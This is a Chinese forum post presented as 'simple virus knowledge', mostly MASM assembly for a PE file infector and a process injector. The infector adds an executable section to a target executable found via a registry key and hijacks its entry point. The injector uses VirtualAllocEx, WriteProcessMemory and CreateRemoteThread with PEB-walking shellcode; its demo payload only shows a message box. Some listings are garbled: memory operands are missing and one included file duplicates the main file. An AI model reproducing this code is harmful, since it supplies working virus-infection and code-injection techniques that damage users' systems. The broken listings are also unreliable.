关于简单的病毒知识 PE文件改写和代码注入
PE病毒相信大家都有听说,只需要知道呢PE的结构后很容易写出,还有代码注入,这个比较简单,32位的程序只能往32位注入64往64位注入,那我就贴出2段代码
改写代码和注入代码用的汇编,因为对于汇编对于地址比较好为程序定址
.386
.model flat,stdcall
option casemap:none
include windows.inc
include gdi32.inc
include user32.inc
include kernel32.inc
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib
include advapi32.inc
.data
adata db '.adata',0
openreg db 'AppEvents\\EventLabels\\AppQQPath\\qqpath',0
keyname db 'qqpaths',0
regtype dd 1
numb dd 256
filepath dd 256 dup (0)
.data?
address dd ?
hfile dd ?
key dd ?
.code
include Rea.asm
_Align proc uses ebx edx edi esi ecx _dwSize,_dwAlign
mov eax,_dwSize
xor edx,edx
div _dwAlign
.if edx
inc eax
.endif
mul _dwAlign
ret
_Align endp
_insertSections proc _lp,_size
LOCAL @Sections:dword
LOCAL @NumbWrite:dword
pushad
mov edi,_lp
.if word ptr ==5A4Dh
add edi,
.if word ptr ==4550h
jmp @f
.endif
.endif
@@:
assume edi:ptr IMAGE_NT_HEADERS
push edi
movzx eax,.FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
mov ecx,sizeof IMAGE_SECTION_HEADER
MUL ecx
add edi,eax
mov ecx,IMAGE_SECTION_HEADER
repnz scasb
.if !ecx
sub edi,sizeofIMAGE_SECTION_HEADER
mov esi,edi
sub esi,sizeofIMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
assume edi:ptr IMAGE_SECTION_HEADER
invoke RtlMoveMemory,addr .Name1,offset adata,7
mov .Characteristics,IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
mov ebx,.PointerToRawData
add ebx,.SizeOfRawData
mov .PointerToRawData,ebx
pop edx
assume edx:ptr IMAGE_NT_HEADERS
invoke _Align,_size,.OptionalHeader.FileAlignment
mov .SizeOfRawData,eax
mov ebx,.VirtualAddress
invoke _Align,.Misc.VirtualSize,.OptionalHeader.SectionAlignment
add ebx,eax
mov .VirtualAddress,ebx
push _size
pop .Misc.VirtualSize
inc .FileHeader.NumberOfSections
invoke _Align,_size,.OptionalHeader.SectionAlignment
add .OptionalHeader.SizeOfCode,eax
add .OptionalHeader.SizeOfImage,eax
mov esi,edx
assume esi:ptr IMAGE_NT_HEADERS
invoke SetFilePointer,hfile,.PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,hfile,offset APPEND_CODE,.Misc.VirtualSize,addr @NumbWrite,NULL
mov ebx,.PointerToRawData
add ebx,.SizeOfRawData
invoke SetFilePointer,hfile,ebx,NULL,FILE_BEGIN
invoke SetEndOfFile,hfile
mov ebx,.PointerToRawData
add ebx,offset _dwOldEntry-offset APPEND_CODE
invoke SetFilePointer,hfile,ebx,NULL,FILE_BEGIN
mov eax,.VirtualAddress
add eax,(offset _ToOldEntry - offset APPEND_CODE + 5)
mov ecx,.OptionalHeader.AddressOfEntryPoint
sub ecx,eax
mov address,ecx
invoke WriteFile,hfile,offset address,4,addr @NumbWrite,NULL
push .VirtualAddress
pop .OptionalHeader.AddressOfEntryPoint
add .OptionalHeader.AddressOfEntryPoint,offset _NewEntry-offset APPEND_CODE
.endif
popad
ret
_insertSections endp
_openfile proc
invoke RegOpenKey,HKEY_CURRENT_USER,offset openreg,offset key
cmp eax,0
jnz @f
invoke RegQueryValueEx,key,offset keyname,NULL,offset regtype,offset filepath,offset numb
invoke CreateFile,OFFSET filepath,GENERIC_READ orGENERIC_WRITE,FILE_SHARE_READ orFILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
mov hfile,eax
.if eax != INVALID_HANDLE_VALUE
invoke CreateFileMapping,hfile, NULL, PAGE_READWRITE, 0, 0, NULL
invoke MapViewOfFile,eax, FILE_MAP_READ or FILE_MAP_WRITE, 0, 0, 0
invoke _insertSections,eax,offset APPEND_CODE_END-offset APPEND_CODE
invoke UnmapViewOfFile,eax
invoke CloseHandle,hfile
.endif
@@:
ret
_openfile endp
start:
invoke _openfile
end start
上面的是主体文件 下面是上面包含的Rea.asm
.386
.model flat,stdcall
option casemap:none
include windows.inc
include gdi32.inc
include user32.inc
include kernel32.inc
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib
include advapi32.inc
.data
szExct db '*.exe',0,0
adata db '.adata',0
openreg db 'AppEvents\\EventLabels\\AppQQPath\\qqpath',0
keyname db 'qqpaths',0
regtype dd 1
numb dd 256
filepath dd 256 dup (0)
.data?
address dd ?
hfile dd ?
key dd ?
.code
include Rea.asm
_Align proc uses ebx edx edi esi ecx _dwSize,_dwAlign
mov eax,_dwSize
xor edx,edx
div _dwAlign
.if edx
inc eax
.endif
mul _dwAlign
ret
_Align endp
_insertSections proc _lp,_size
LOCAL @Sections:dword
LOCAL @NumbWrite:dword
pushad
mov edi,_lp
.if word ptr ==5A4Dh
add edi,
.if word ptr ==4550h
jmp @f
.endif
.endif
@@:
assume edi:ptr IMAGE_NT_HEADERS
push edi
movzx eax,.FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
mov ecx,sizeof IMAGE_SECTION_HEADER
MUL ecx
add edi,eax
mov ecx,IMAGE_SECTION_HEADER
repnz scasb
.if !ecx
sub edi,sizeofIMAGE_SECTION_HEADER
mov esi,edi
sub esi,sizeofIMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
assume edi:ptr IMAGE_SECTION_HEADER
invoke RtlMoveMemory,addr .Name1,offset adata,7
mov .Characteristics,IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
mov ebx,.PointerToRawData
add ebx,.SizeOfRawData
mov .PointerToRawData,ebx
pop edx
assume edx:ptr IMAGE_NT_HEADERS
invoke _Align,_size,.OptionalHeader.FileAlignment
mov .SizeOfRawData,eax
mov ebx,.VirtualAddress
invoke _Align,.Misc.VirtualSize,.OptionalHeader.SectionAlignment
add ebx,eax
mov .VirtualAddress,ebx
push _size
pop .Misc.VirtualSize
inc .FileHeader.NumberOfSections
invoke _Align,_size,.OptionalHeader.SectionAlignment
add .OptionalHeader.SizeOfCode,eax
add .OptionalHeader.SizeOfImage,eax
mov esi,edx
assume esi:ptr IMAGE_NT_HEADERS
invoke SetFilePointer,hfile,.PointerToRawData,NULL,FILE_BEGIN
invoke WriteFile,hfile,offset APPEND_CODE,.Misc.VirtualSize,addr @NumbWrite,NULL
mov ebx,.PointerToRawData
add ebx,.SizeOfRawData
invoke SetFilePointer,hfile,ebx,NULL,FILE_BEGIN
invoke SetEndOfFile,hfile
mov ebx,.PointerToRawData
add ebx,offset _dwOldEntry-offset APPEND_CODE
invoke SetFilePointer,hfile,ebx,NULL,FILE_BEGIN
mov eax,.VirtualAddress
add eax,(offset _ToOldEntry - offset APPEND_CODE + 5)
mov ecx,.OptionalHeader.AddressOfEntryPoint
sub ecx,eax
mov address,ecx
invoke WriteFile,hfile,offset address,4,addr @NumbWrite,NULL
push .VirtualAddress
pop .OptionalHeader.AddressOfEntryPoint
add .OptionalHeader.AddressOfEntryPoint,offset _NewEntry-offset APPEND_CODE
.endif
popad
ret
_insertSections endp
_openfile proc
invoke RegOpenKey,HKEY_CURRENT_USER,offset openreg,offset key
cmp eax,0
jnz @f
invoke RegQueryValueEx,key,offset keyname,NULL,offset regtype,offset filepath,offset numb
invoke CreateFile,OFFSET filepath,GENERIC_READ orGENERIC_WRITE,FILE_SHARE_READ orFILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
mov hfile,eax
.if eax != INVALID_HANDLE_VALUE
invoke CreateFileMapping,hfile, NULL, PAGE_READWRITE, 0, 0, NULL
invoke MapViewOfFile,eax, FILE_MAP_READ or FILE_MAP_WRITE, 0, 0, 0
invoke _insertSections,eax,offset APPEND_CODE_END-offset APPEND_CODE
invoke UnmapViewOfFile,eax
invoke CloseHandle,hfile
.endif
@@:
ret
_openfile endp
start:
invoke _openfile
end start
这段是被写入的代码注意重定位这段代码做的就是被我们写入的程序开始会运行我们在注册表指定的程序
下面是一段简短的注入代码
.386
.model flat,stdcall
option casemap:none
include windows.inc
include gdi32.inc
include user32.inc
include kernel32.inc
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
.data
ClassName db 'MyClass',0
WindowName db 'MyWindow',0
PID dd 0
VirtualAdd dd 0
.code
include rem.asm
start:
invoke FindWindow,offset ClassName,offset WindowName
invoke GetWindowThreadProcessId,eax,offset PID
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
.if eax
mov ebx,eax
invoke VirtualAllocEx,ebx,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE
.if eax
mov VirtualAdd,eax
invoke WriteProcessMemory,ebx,VirtualAdd,offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
mov eax,VirtualAdd
add eax,offset _RemoteThread - offset REMOTE_CODE_START
invoke CreateRemoteThread,ebx,NULL,0,eax,0,0,NULL
.endif
.endif
end start
所包含的rem.asm如下
REMOTE_CODE_START equ this byte
_GetMessageBox db 'MessageBoxA',0
_GetUserDLL db 'user32',0
_GetProcaddress db 'GetProcAddress',0
_GetLoadLibrary db 'LoadLibraryA',0
_hKernelDll dd ?
_hUser32DLL dd ?
_MESSAGEBOX1 db 'HELLO WORD',0
_MESSAGEBOX2 db 'MESSAGE',0
_RemoteThread proclParam
LOCAL @hModule:dword
LOCAL @stringleng:dword
LOCAL @theoffset:dword
LOCAL @address:dword
call @f
@@:
pop ebx
sub ebx,offset @b
mov @theoffset,ebx
;>>>>>>>>>>>>>>>>>>
assume fs:nothing
mov eax, fs:
mov eax,
mov eax,
mov eax,
mov eax,
mov eax,
mov eax,
;>>>>>>>>>>>>>>>>>>
mov @hModule,eax
mov @stringleng,0
mov edi,@theoffset
add edi,offset _GetProcaddress
mov ebx,edi
mov ecx,-1
xor al,al
cld
repnz scasb
mov ecx,edi
sub ecx,ebx
mov @stringleng,ecx
mov esi,@hModule
add esi,
assume esi:ptr IMAGE_NT_HEADERS
mov esi,.OptionalHeader.DataDirectory.VirtualAddress
add esi,@hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov ebx,.AddressOfNames
add ebx,@hModule
xor edx,edx
.while TRUE
push esi
mov edi,
add edi,@hModule
mov esi,@theoffset
add esi,offset _GetProcaddress
mov ecx,@stringleng
repz cmpsb
.if ZERO?
POP ESI
.break
.endif
add ebx,4
inc edx
pop esi
.break .if edx >= .NumberOfNames
.endw
sub ebx,.AddressOfNames
sub ebx,@hModule
shr ebx,1
add ebx,.AddressOfNameOrdinals
add ebx,@hModule
movzx eax,word ptr
shl eax,2
add eax,.AddressOfFunctions
add eax,@hModule
mov eax,
add eax,@hModule
mov @address,eax
mov ebx,@theoffset
add ebx,offset _GetLoadLibrary
push ebx
push @hModule
call eax ;GetProcAddress,@hModule,offset_GetLoadLibrary
mov ebx,@theoffset
add ebx,offset _GetUserDLL
push ebx
call eax ;LoadLibrary,offset _GetUserDLL
mov ebx,@theoffset
add ebx,offset _GetMessageBox
push ebx
push eax
call @address ;GetProcAddress,eax,offset _GetMessageBox
push MB_OK
mov ebx,@theoffset
add ebx,offset _MESSAGEBOX2
push ebx
mov ebx,@theoffset
add ebx,offset _MESSAGEBOX1
push ebx
push NULL
call eax ;MessageBoxA,NULL,offset _MESSAGEBOX1,offset _MESSAGEBOX2,MB_OK
ret
_RemoteThread endp
REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
这段代码利用远程线程将二进制代码写入对方内存注意变量 重定位和函数查找方法,我这里用的EPB结构,各位可以通过得到模块地址
大错呢PEB结构 还忘呢说上面的改写方法是用呢添加新节,也可以往缝隙写入,还可以替换原本函数,方法较多,注意32位和64位PE结构有几个不同项,主要是使用呢8字节项
页:
[1]